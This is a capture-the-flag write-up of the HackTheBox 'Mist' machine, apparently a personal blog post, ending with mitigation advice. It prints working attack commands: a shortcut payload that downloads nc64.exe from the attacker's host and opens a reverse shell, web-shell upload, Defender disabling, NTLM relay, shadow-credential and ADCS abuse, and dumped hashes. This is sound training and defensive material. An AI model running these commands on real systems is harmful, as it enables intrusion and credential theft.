HackTheBox Writeup: Mist
Welcome back! Last post was a fun warm-up, but we can do better. None of the seasonal "insane" boxes for the seasons I've participated in have been retired yet, so we will be taking a crack at "Mist", which debuted at the end of season 4. I haven't done this one yet, so I'm excited to jump in! It is one of the most difficultly-rated boxes in the community ranking, so buckle up, and remember to stick around until the end for my professional mitigation strategies.
Basic Enumeration
First things first, a portscan. Like last time, I ran this with
sudo nmap -sC -sV -T5 x.x.x.x > nmap.log
Looking at the output, we're in for a wild ride. This is a windows machine, but none of the typical windows ports are open:
There's a win64-based apache server running on port 80, and it looks like it's trying to redirect to a filepath argument. Accessing the url in the web browser, we see:
Right off the bat, we can see an "admin" user, on a platform called pluck. Taking a peek at the login.php link, it's running pluck 4.7.18.
I wasn't familiar with pluck, so I took a look at its' github page, and found this bug. It posits that the /data/settings/modules/albums/ url is unprotected, because apache's .htaccess file does not prohibit access to the directory. In the github issue, m3n0sd0n4l says that while this may not inherently be a vulnerability, someone could backup the site to that directory, or expose some other confidential information. Luckily for us, the url contains the exact described vulnerability ;)
While we can access the folder using the apache file explorer, the file itself is restricted. This is outlined in the vulnerability, as we can use the albums_getimage function to trigger a LFI and dump the file.
http://x.x.x.x/data/modules/albums/albums_getimage.php?image=admin_backup.php
Accessing it over the web browser returns an error, but we can curl it and recover the backup:
Nice, looks like a password hash. We can put this into hashcat with mode 1700 for sha2-512 and crack for the password. It took approximately 1 second to crack.
.\hashcat.exe .\hash.txt ..\rockyou.txt -m 1700
I'm sorry Dave, I'm afraid I can't do that
Password in hand, we can go log in to the pluck admin panel. It seems like a standard cms, with an option to enable plugins. There is also a method to upload our own plugin. I have exploited this on other applications like splunk and openfire (check out last weeks post for that) so I went looking for an existing webshell plugin.
I wasn't able to find one, so I tried uploading a php web shell on the file upload page, but that didn't pan out either. I did some research, and pluck modules expect a zipped folder with a php file inside.
Using Ivan Sincek's php web shell, which you can find here, I made my module:
and uploaded it to pluck:
I wasn't able to see it in the "manage modules" view, but we know that we have access to the apache file explorer, so you can view all installed modules at /data/modules:
Now we just have to setup a listener:
sudo nc -lvnp 80
and run the php file....
Success!
Just for kicks and giggles, we can take a look at the module's .htaccess file:
It's empty. Figures.
One Must Imagine Sisyphus a Domain User
Looking around, we're very limited with the current shell permissions. We can access files in our user directory and public, but that's about it. I did see an uncommon directory at C:\Common Applications, and inside there are 3 .lnk shortcut files. I had to make malicious shortcut files in the "university" box last season, so I went ahead and modified the payload and overwrote one of the shortcuts:
$WScriptShell = New-Object -ComObject WScript.Shell
$Shortcut = $WScriptShell.CreateShortcut("C:\Common Applications\Calculator.lnk")
$Shortcut.TargetPath = "C:\Windows\System32\cmd.exe"
$Shortcut.Arguments = "/c curl -o %USERPROFILE%\nc64.exe http://x.x.x.x:443/nc64.exe && %USERPROFILE%\nc64.exe x.x.x.x 53 -e powershell"
$Shortcut.Save()
This will get nc64.exe from my machine (checkout my last post for more information on that), and then trigger a reverse shell back over port 53. When I am doing reverse shells on windows machines, it's generally best to do ports that traffic would commonly be sent over, such as http or dns (53), to prevent the windows firewall from blocking access.
With the shortcut overwritten, after a minute or so I can see the file get pulled from my machine:
And we get a new shell:
Here comes the active directory shenanigans. The user we have access to is a domain user, and because the machine we have access to isn't a domain controller, this machine is most likely a container or VM (The labs are only ever one machine), with the host likely being the domain controller. As soon as I get domain access, I always immediately prioritize running a bloodhound scan.
SpecterOps' Bloodhound (found here) is a tool designed to enumerate an active directory environment, track relationships, and highlight privilege escalation vectors. It can be run remotely using domain credentials, or locally using the current user's permissions. Because we have the domain-privileged session as brandon, we can run the collector on the machine and exfiltrate the results.
The machine-based bloodhound collector is called "SharpHound", and can be used as an .exe or .ps1 file. I tried multiple locations that Brandon should have access to download files to, but had no success:
Thinking back to our intial foothold, there was a file manager that was unable to run our php webshell. I tried uploading sharphound this way, and was able to get it on the system in the C;\xampp\htdocs\files directory.
Because the collector uses the active session, we simply run the executable and it will automatically target the domain as our user. I ran it with the "-c all" argument, which will use protocols beyond just LDAP to ensure that everything our user has access to is scanned.
Sharphound will output a .zip file to be uploaded into our bloodhound analyzer. Because the machine is fairly hardened, and antivirus is enabled, the easiest route I found to exfiltrate this information was to move it to the webroot. I wasn't able to pull it from the files directory because of the .htaccess configuration, but the webroot lacks any .htaccess protection, enabling us to just download the file over http.
Now that we have the .zip file, we need to start bloodhound. The newest version of bloodhound is dockerized, and can be spun up by running:
curl.exe -L https://ghst.ly/getbhce | docker compose -f - up
If it is your first time running the container, you will need to set an administrator password. To upload our collected information, go to Administration -> File Ingest, and upload your zip file:
Now that bloodhound has access to our scan, return to the "Explore" tab, select "cypher", and click the folder icon to gain access to Pre-built searches.
Running the "Shortest paths to Tier Zero / High Value targets" query, we can see the following:
It looks like our target is DC01.MIST.HTB, and it is running the Certification Authority Role on top of typical domain controller services. We can see that the DC is also hosting Hyper-V, further confirming our suspicions that we are currently inside a Hyper-V VM.
Based on the "Domain Computers" object, we are on the only other machine (VM) on the network, MS01.mist.HTB, which matches the hostname in our terminal.
Antivirus Exclusions
Okay, we've got our work cut out for us. First of all, we need to be able to communicate with the domain controller, preferably using a proxy to our attacker machine. Typically I would do this using a C2 framework, like Metasploit or Havoc, but windows defender is running on the machine, and we are not privileged enough to disable it.
Secondly, we need to gain access to a more privileged account, likely one that can interact with the certificate authority services running on the domain controller, to allow us to escalate to code execution on the DC.
This leaves us at a crossroads. If I can bypass defender, it will give us access to not only forward our traffic to the DC, but it will also allow us to run mimikatz and harvest our credentials within the domain, as well as any others cached in the system. This seems like a fully patched version of defender, so "bypassing" it will prove long and arduous, unless it is weak to a specific attack.
Otherwise, we will need to use chisel to setup a socks proxy that will be slightly unstable, and begin enumerating the DC, bypassing the need to root the MS01 VM.
I was about to upload chisel, when I remembered that a buddy of mine had told me about a way to enumerate for windows defender exclusions. Essentially, windows defender can be configured with directories to ignore when scanning for malicious software. As an admin, typically you can view all exclusions using
Get-MpPreference
But when you are underprivileged, there are still some ways to check for excluded paths. When an exclusion is added, it is stored in the windows event logs with an id of "5007", for "Microsoft Defender Antivirus Configuration has changed"
After playing around with a couple queries, I got this working:
Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' -FilterXPath "*[System[(EventID=5007)]]" | Select-Object TimeCreated, Id, Message | Format-List
Which dumped all changes to windows defender's configuration:
This would be a lot to dig through, so I refined my query:
Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' -FilterXPath "*[System[(EventID=5007)]]" | Where-Object { $_.Message -like '*\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths*' } | Format-List *
Success!
Looks like the xampp web root isn't monitored by defender. That is a VERY strange folder to go unprotected, especially with a file upload mechanism.
I'm not one to complain about easy victories, especially on an "insane" machine, so let's take what they'll give us and upload a meterpreter shell for persistence.
My trick of uploading over the manage files functionality in pluck didn't work, I'm assuming pluck checks for certain file signatures or denies files larger than a set size. Luckily we could still use our shell as the svc_web service account, and just wget the file into the directory, then run it as brandon.
The Sweet Smell of Persistence
Now that we have some more tools on the system, let's see if I can fully takeover the Brandon account. We don't have any privileges that let me immediately leak any ntlm hashes, so no luck on the easy privesc street, but at least we can upload tools over the meterpreter into a directory we know they won't be scanned.
I used responder to try to see if I could steal a crackable hash, but it issued me an uncrackable NTLMv2-SSP Hash. With nothing else on the system and no credentials to go off of, it's time to get creative. We can see in the bloodhound that the DC is being used as a certificate authority. Time to hit the books on ADCS.
After watching SpecterOps' Blackhat 2021 talk, I'm feeling much better about my understanding of how certificates are used within an AD environment. Because kerberos supports certificate use via PKINIT, and Rubeus has PKINIT support, we should be able to perform kerberos abuse without any credentials, IF we manage to get our hands on a valid certificate.
SpecterOps published a tool called Certify that can be used to enumerate ADCS. We can first check for any low hanging fruit with:
./Certify.exe find /vulnerable
It didn't find any implicitly vulnerable certificates, so let's check what templates can be enrolled with:
./Certify.exe find /enrollable
There are a LOT of available templates. I went back to bloodhound, and built this query to show all of them:
MATCH (n:CertTemplate)
RETURN n
It looks like the user template allows us to enroll, and has Client Authentication pkiextendedkeyusage attributed. We can have certify request a certificate with:
./Certify.exe request /template:User /ca:DC01.mist.htb\mist-DC01-CA
We were successfully issued a certificate, which we are instructed to put into a file called "cert.pem", then convert to a pfx using openssl:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
If you are prompted to set a password, make sure you leave it blank so that ADCS can use it.
Now we have a pfx file we can use to authenticate as our Brandon user, without their password or hash. Using Rubeus, we can utilize this cert to authenticate over kerberos. PKINIT, the protocol that kerberos leverages to allow certificate authentication, was designed with backwards compatibility for NTLM, so that services that don't support certificates can be passed the NTLM hash. This means that we can authenticate as Brandon, request a TGT through kerberos, AND request the NTLM at the same time.
After uploading rubeus and our new .pfx cert to the machine, we can run this request with:
./Rubeus.exe asktgt /user:brandon.keywarp /certificate:cert.pfx /show /nowrap /getcredentials
And there we go, we have an NTLM hash.
Now we can perform domain authentication actions, allowing us to enumerate much easier.
Using my meterpreter shell I can setup a socks proxy:
And check if we can authenticate against the domain controller:
Nice.
A Series of Unfortunate Misconfigurations
No luck on the winrm front:
Because we already have most of the information for the domain from the bloodhound scan, there's no point in running smb user enumeration, etc. I tried a couple different scans, but landed on LDAP signing. Running netexec against ldap like so:
proxychains -q netexec ldap 192.168.100.100 -u brandon.keywarp -H ******************* -M ldap-checker
Will allow us to check whether LDAP signing is enforced.
LDAP allowing unsigned requests means that we can cause an NTLM relay, in which we trigger a service to authenticate with us, then spoof their NTLM credentials in our own request. This is dependent on us being able to trigger an NTLM authentication event. In the aforementioned SpecterOps research, Lee Chagolla-Christensen and Will Schroeder were ALSO responsible for the research that led to the printerbug vulnerability, weaponizing the windows print spool to force NTLM authentication.
I tried to use this, but unfortunately neither of the machines have the print spooler running:
proxychains rpcdump.py 192.168.100.100 | grep -A 6 "spoolsv"
returned no results for either.
Another way to force authenticate is MS-EFSR abuse (or the PetitPotam exploit), published by Google's Project Zero. MS-EFSR is the Microsoft Encrypting File System Remote protocol, which is handled over RPC. With the vulnerability discovered, it is possible to force the protocol to authenticate over SMB by default, or HTTP if SMB is signed.
First we will try just using SMB. Spin up ntlmrelax pointed at the domain controller to handle relaying any credentials we receive:
proxychains -q ntlmrelayx.py -smb2support -t 192.168.100.100 -debug
and run the petitpotam exploit using the credentials we have obtained:
proxychains -q ./PetitPotam.py -d mist.htb -u brandon.keywarp -hashes :xxxxxxxxxxxxx x.x.x.x 192.168.100.100
The petitpotam exploit works:
And we receive a request:
But because SMB signing is implemented (the fix microsoft recommended to prevent this exploit), we are unable to forward the request. Luckily, because we have shell access to MS01, we can enable the ability to authenticate over HTTP, bypassing the signing restrictions. To turn it on, we would typically need administrator access, but after research done by tiraniddo we know that the service can be started simply by replicating a specific service trigger. There's a POC here that can be uploaded to the machine:
That was easy!
I found this walkthrough on utilizing petitpotam with the webclient. The web client requires a FQDN in order to attempt to authenticate. This means I need to point a dns record to my machine, within the scope of the AD environment. I tried doing this with the krbrelayx tool in the walkthrough, but it looks like our brandon user doesn't have access:
proxychains -q ./dnstool.py -u mist.htb\\brandon.keywarp -p :DB03D6A77A2205BC1D07082740626CC9 -a add -r pwn -d x.x.x.x --forest mist.htb
Hmm. This stumped me for a while. If we had access to the hosts file on the windows machine, we could edit it there, but we don't. No dice on adding another DNS server, either.
The only other option is redirecting the traffic from an existing DNS entry, one of which we have access to:
ms01.mist.htb
In order to do this, we can utilize chisel to forward http traffic on an inbound port to our ntlm relay. On the windows server, I ran:
chisel.exe client x.x.x.x:8000 9000:127.0.0.1:80
This connects to my machine at port 8000, and then forwards all inbound traffic to the windows server from port 9000 to my machine's port 80.
To receive this traffic, we can run:
./chisel server -p 8000 --reverse
Then, we re-run our ntlmrelay and petitpotam, this time setup over http:
proxychains -q ntlmrelayx.py -smb2support -t ldaps://192.168.100.100 -debug -i
proxychains -q ./PetitPotam.py -u brandon.keywarp -hashes :xxxxxxxxxxxxxxxxxxx -d mist.htb 'MS01@9000/index' 192.168.100.101
Making sure that the port it is contacting is the port my chisel is expecting (9000).
Petitpotam seemed to be running, but I wasn't getting any callback. I ran the EtwStartWebClient.exe again, and that fixed it!
There we go, we get the ldap shell. We can access this on the port specified in the output:
nc 127.0.0.1 11000
Awesome, there's an escalation. We now have ldap access as the MS01 machine account. Taking a look at the commands at our disposal, there are a few that stand out:
But none of them pan out:
I really need to be able to utilize the machine account's kerberos privileges, but in order to do that we need to obtain some way of authenticating as the account, outside of this ldap shell. Because I can't change the machine account's password, I need to leverage shadow credentials to gain control of the account and exfiltrate the ntlm hash.
With ntlmrelayx, I actually CAN perform a shadow credentials maneuver, we just have to specify to include support when we launch the relay:
So, I exit out of my ldap shell and re-run the petitpotam chain, this time with the relay as:
proxychains -q ntlmrelayx.py -smb2support -t ldaps://192.168.100.100 -debug --shadow-credentials --shadow-target 'MS01$'
Well, that's frustrating. Something isn't right here, we should definetly be able to use shadow credentials. Looking into it more, there was a fork of impacket that allows shadow credentials management in the ldap shell we had before.
After wrestling with python dependencies (virtual environments for the win), I got the impacket fork working. Now when we get the ldap shell, we can see:
Awesome. I tried running the set_shadow_creds, but it failed:
But after running clear_shadow_creds, I was successfully able to create the certificate:
I suspect that the reason the non-forked version of impacket was unable to set the shadow credentials was because they needed to be cleared first. Now that we have the pfx we just need to remove the password from the pfx file:
certipy-ad cert -export -pfx u7uYVdpI.pfx -password RK9mWQ6NJkljOgKZNkwy -out ms01.pfx
And use it to ask PKINIT for the NTLM hash like we did with our brandon user:
proxychains -q certipy-ad auth -pfx ms01.pfx -dc-ip 192.168.100.100 -ns 192.168.100.100 -username MS01\$ -domain mist.htb
And now we have the kerberos ticket, AND the NTLM hash!
It's Me, the Machine!
With the machine account NTLM, we just need to impersonate the administrator account by abusing the delegation privileges of the machine account. Typically I would use rubeus for this, but I had been meaning to try out ticketer.py, which can be run locally on my attacker machine rather than the host. In rubeus, I would have to get the tgt, then manually export the ticket, use it to abuse S4U2elf, and download the ticket. By contrast, with the machine account hash enabling us to authenticate remotely, all it takes on ticketer is:
proxychains ticketer.py -domain-sid S-1-5-21-1045809509-3006658589-2426055941 -user-id 500 -domain mist.htb -spn CIFS/MS01.mist.htb -nthash 0b2120c68fb439ab9cf3e7010150ad0f Administrator
And I get a ticket!
That was MUCH less of a pain, and all of the information needed was easily accessible. Now we just need to set our system to use the ticket:
export KRB5CCNAME=Administrator.ccache
And setup our /etc/krb5 file:
And secretsdump!
proxychains secretsdump.py administrator@ms01.mist.htb -k -no-pass
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe3a142f26a6e42446aa8a55e39cbcd86
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:90f903787dd064cc1973c3aa4ca4a7c1:::
svc_web:1000:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
[*] Dumping cached domain logon information (domain/username:hash)
MIST.HTB/Brandon.Keywarp:$DCC2$10240#Brandon.Keywarp#5f540c9ee8e4bfb80e3c732ff3e12b28: (2024-12-19 00:36:58)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
MIST\MS01$:plain_password_hex:07121d09528bdf6d69d0756f52cb0b2aa634f41c8d33ed6f25b9bd8164a353d51b5b622081b8d582c870042b35dac919f6e90f81cfedf91696248093374d1ae548214978d4de08be3199c5fff1408f907f2946ebead4e10fa9903067db3e6ab31beba485ff6ab81cd303253f002995d7cc4c84b26fef6c1d3288c27f6bdd01850204dbc1d85a7c547a41c586074b10e3c48364e0c193c0513b81f49c50ce3210859de30c68e1f54bdf03b5b0f1135f21e3c8cf8dc9066ab6bfa61a5be364cd011e8fd7d0fe80802b395291b52b6831de9e0c9adabaf3d35f6ca388d262c4996722beb6a598a7d275d1fc52ff1aede184
MIST\MS01$:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXXXX:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xe464e18478cf4a7d809dfc9f5d6b5230ce98779b
dpapi_userkey:0x579d7a06798911d322fedc960313e93a71b43cc2
[*] NL$KM
0000 57 C8 F7 CD 24 F2 55 EB 19 1D 07 C2 15 84 21 B0 W...$.U.......!.
0010 90 7C 79 3C D5 BE CF AC EF 40 4F 8E 2A 76 3F 00 .|y<.....@O.*v?.
0020 04 87 DF 47 CF D8 B7 AF 6D 5E EE 9F 16 5E 75 F3 ...G....m^...^u.
0030 80 24 AA 24 B0 7D 3C 29 4F EA 4E 4A FB 26 4E 62 .$.$.}<)O.NJ.&Nb
NL$KM:57c8f7cd24f255eb191d07c2158421b0907c793cd5becfacef404f8e2a763f000487df47cfd8b7af6d5eee9f165e75f38024aa24b07d3c294fea4e4afb264e62
[*] _SC_ApacheHTTPServer
svc_web:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
I love a good administrator hash. Booting up a quick evil-winrm:
proxychains -q evil-winrm -i ms01.mist.htb -u administrator -H XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
We get full shell access, and can grab the user flag.
$up3r 3p1c Crypt0gr@phy
Wow. I can see how this is one of the hardest-rated boxes on the platform, the effort I had to put into this was pretty much equivalent to a pro lab. And, just like a pro lab, it's time to set our sights on a domain controller!
A couple quick orders of housekeeping:
We know that windows defender isn't scanning in the htdocs directory, but it never hurts to completely disable it:
set-mppreference -DisableRealTimeMonitoring $true
I'm also going to make a little directory to stash any tools I need in:
cd /
mkdir .hideme
attrib +h .hideme
I'm going to quickly upload and run my meterpreter and havoc shells here to make sure I maintain my persistence. I really like havoc for managing socks proxies, especially when I am multiple layers deep in a network.
Now that we have admin access to the machine, we can see what's in the directories we were locked out of before. I like to go into the Users directory and run
ls -r
To quickly see anything out of the ordinary in Users folders, and as luck would have it we have a hit:
I'm going to download all 3 of those files and check them out on my attacker machine. That .kdbx file is a keypass database, hopefully one of those images has the password, or we are able to crack the kdbx hash.
Looking at the images, we DO have a partial password in the input of a cyberchef operation. I know we can grab the hash with keepass2john, so lets start there:
keepass2john sharon.kdbx > hash.txt
With the hash obtained, we can use hashcat to crack it. Because we already have the first 14 characters of the password, we can use a "mask" to have hashcat brute-force our missing characters.
./hashcat.exe .\hash.txt -a 3 'UA7cpa[#1!_*ZX?a?a?a?a' --increment --increment-min 14 --increment-max 18 -m 13400
This will start with the 14 characters in the recovered string, and then incrementally add new characters up to 18. Giving it a run, we crack the hash!
Now that we have the password, we can open it in keypass:
Sharon's password in hand, we can try to authenticate against the domain controller:
No such luck. I did, however, remember seeing a very similar account in bloodhound:
And there we go.
The account ALSO has winrm permissions, so we can finally get a shell on the domain controller!
Doing the Same Thing Over and Over, and Getting Different Results
Beautiful. I noticed an atypical directory at C:\ps, containing a firewall review .csv file. Opening it up I didn't see any ports out of the ordinary, but the configuration would explain why the hyper-v'd machine wasn't accessible over standard windows services.
Now that we have a more privileged user, we can start looking at domain-level escalation. With our OP_Sharon account, there's a direct route to the SVC_CABackup user, which we may be able to use to dump the SAM database via registry backup.
We can use gMSADumper to dump all accessible gMSA passwords for the supplied user:
proxychains ./gMSADumper.py -u 'OP_SHARON.MULLARD' -p 'ImTiredOfThisJob:(' -d mist.htb
And verify the hash:
That's a success! Now we can move to the svc_cabackup account:
proxychains ./pywhisker.py -d "mist.htb" -u "svc_ca$" -H ":ff622e6f78ab34c12f8c788f6288c554" --target "svc_cabackup" --action "add"
Great! Almost there. We can see on bloodhound there is a route to the Backup Operators group utilizing ADCSesc13 (More SpecterOps, these guys are truly insane)
Within bloodhound, it gives us instructions on exploiting this:
Certipy is a python implementation of the certify executable we used earlier. We also used it earlier when we were managing the password after our shadowcredentials attack.
I tried using certify.exe, but it didn't seem to be compatible with SESC13. In order to run the attack remotely, we need to grab credentials, like we did with the last shadow credentials attack:
proxychains -q certipy-ad auth -pfx svc_cabackup.pfx -dc-ip 192.168.100.100 -ns 192.168.100.100 -username svc_cabackup -domain mist.htb
Now we can use that hash via certipy, using the enrollable certificate we see in bloodhound:
sudo proxychains -q certipy-ad req -u svc_cabackup -hashes :c9872f1bc10bdd522c12fc2ac9041b64 -ca mist-DC01-CA -dc-ip 192.168.100.100 -template ManagerAuthentication
Strange. I tried passing a larger key size:
sudo proxychains -q certipy-ad req -u svc_cabackup -hashes :c9872f1bc10bdd522c12fc2ac9041b64 -ca mist-DC01-CA -dc-ip 192.168.100.100 -template ManagerAuthentication -key-size 8192
And that worked!
We need to turn this certificate into a valid kerberos ticket.
proxychains -q certipy-ad auth -pfx ./svc_cabackup.pfx -dc-ip 192.168.100.100
export KRB5CCNAME=svc_cabackup.ccache
Now we have CA Backup, we just need to escalate to service accounts. Same thing as before, this time authenticating over kerberos instead of ntlm:
sudo proxychains -q certipy-ad req -u svc_cabackup -target DC01.mist.htb -k -no-pass -ca mist-DC01-CA -dc-ip 192.168.100.100 -template BackupSvcAuthentication -key-size 8192
Awesome, now we just use that certificate to get a TGT with backup operator permissions! Same as before:
sudo proxychains -q certipy-ad auth -pfx ./svc_cabackup.pfx -dc-ip 192.168.100.100
And now we can dump the SAM. We can't do it the same way we did on MS01 with secretsdump, but we CAN use the impacket-reg (emulates reg.exe remotely) tool to force a registry backup, including the SAM, to a folder on the domain controller:
proxychains reg.py svc_cabackup@dc01.mist.htb -k -no-pass backup -o '\Users\op_Sharon.Mullard\Documents'
Now we use our evil-winrm shell on the DC as sharon to verify they're there:
PWNED! I actually cannot describe the adrenaline I got seeing those files. This box has been brutal. Now it's just a matter of exfiltration over winrm, then using secretsdump locally to get the hashes:
secretsdump.py -sam SAM.save -security SECURITY.save -system SYSTEM.save local
A quick netexec:
This box is really going to fight till the bitter end. No worries, we've already leveraged the machine account this lab, we can just secretsdump the domain information using it like we did on MS01:
sudo proxychains -q secretsdump.py 'DC01$@dc01.mist.htb' -hashes :XXXXXXXXXXXXXXXXX
And we get all of the domain user hashes. I'd like to see windows try and stop me from authenticating as the domain admin. With a quick winrm, we have the root flag!
Takeaways
I can see how this box got the rating it did. The initial CRM foothold wasn't too bad, but the amount of enumeration necessary, in addition to learning ADCS, the amount of credential escalation layers, AND the container escape, this box is a masterclass in all things windows authentication. Having done the prolabs I'm pretty comfortable with proxied attacks against a domain controller, but I'm sure that for some of the platform users this was a first, with these labs typically being one-machine environments.
Professional Insights and Mitigation Strategies
Throughout this lab, I encountered several vulnerabilities that highlight the importance of securing both technical and administrative aspects of an organization's infrastructure. Below are key takeaways and mitigation strategies to help prevent similar issues in your environment:
- Web Server File Permissions: Misconfigured file permissions on web servers can expose sensitive information, as we saw with the unprotected directory. Organizations should ensure proper file access controls are in place and restrict sensitive directories using .htaccess or equivalent configurations. Regular audits can help identify and rectify improperly secured files.
- Antivirus Exclusions and Configuration: Antivirus exclusions, especially in directories like the web root, create a significant attack vector. It’s essential to monitor exclusion configurations and ensure that no sensitive or executable files are excluded from scans. Implementing endpoint protection policies and leveraging behavioral detection features can further minimize risk.
- Disable NTLM: Disabling NTLM authentication significantly mitigates risks such as pass-the-hash attacks, credential leakage, and unauthorized access through relayed credentials. NTLM's inherent vulnerabilities make it unsuitable for modern security environments, as demonstrated in this lab. Microsoft strongly recommends transitioning to Kerberos as the primary authentication protocol, as it offers robust encryption, mutual authentication, and better resistance to credential-based attacks. Organizations should disable NTLM wherever feasible, enforce Kerberos usage across all systems, and regularly audit authentication protocols to ensure compliance with security best practices.
- LDAP Signing Configuration: Allowing unsigned LDAP requests poses a significant security risk by enabling NTLM relay attacks, where attackers intercept and manipulate authentication events to gain unauthorized access. Enforcing LDAP signing ensures that all LDAP communications are secure, protecting against credential relaying and data interception. Organizations should configure LDAP servers to reject unsigned or unencrypted requests and monitor for anomalous authentication behavior. Regular audits of domain controller configurations and endpoint authentication policies help maintain a secure environment.
- Local Password Management Hygiene: Storing passwords insecurely, including partial segments of a password, constitutes a significant security risk. This is particularly critical for master passwords of password managers, as they safeguard access to all other stored credentials. Organizations should implement enterprise-grade password management solutions that store credentials in a secure, network-protected zone to mitigate risks such as hash-harvesting attacks, as demonstrated in this lab. Regular employee training on secure password practices, combined with periodic audits of stored credentials, ensures that passwords remain secure and accessible only to authorized personnel. Additionally, enforcing multifactor authentication (MFA) provides an essential extra layer of protection, further reducing the risk of unauthorized access.
- Privilege Escalation in Active Directory Certificate Services (ADCS): Privilege escalation routes within ADCS, such as improperly secured certificate templates, represent a severe threat to the integrity of the domain. Regular reviews of certificate templates and their associated permissions should be conducted to ensure secure configurations. Organizations should adopt best practices for ADCS management, including limiting the enrollment of high-privilege certificates and implementing monitoring for anomalous certificate activity. These measures help mitigate risks associated with unauthorized certificate issuance and potential domain-level compromise.
Final Thoughts
This lab highlights the critical need for organizations to address fundamental security gaps in their infrastructure. Misconfigurations, such as unprotected web server directories and lax LDAP or NTLM policies, can provide attackers with footholds to exploit sensitive systems. By enforcing best practices—ranging from secure file permissions and rigorous password hygiene to robust Active Directory configurations—organizations can significantly reduce their attack surface. Furthermore, forcing modern authentication protocols like Kerberos and leveraging enterprise-grade tools for endpoint protection and monitoring ensures a layered defense strategy that is both proactive and resilient. These measures, combined with regular audits and employee training, build a strong foundation for long-term cybersecurity success.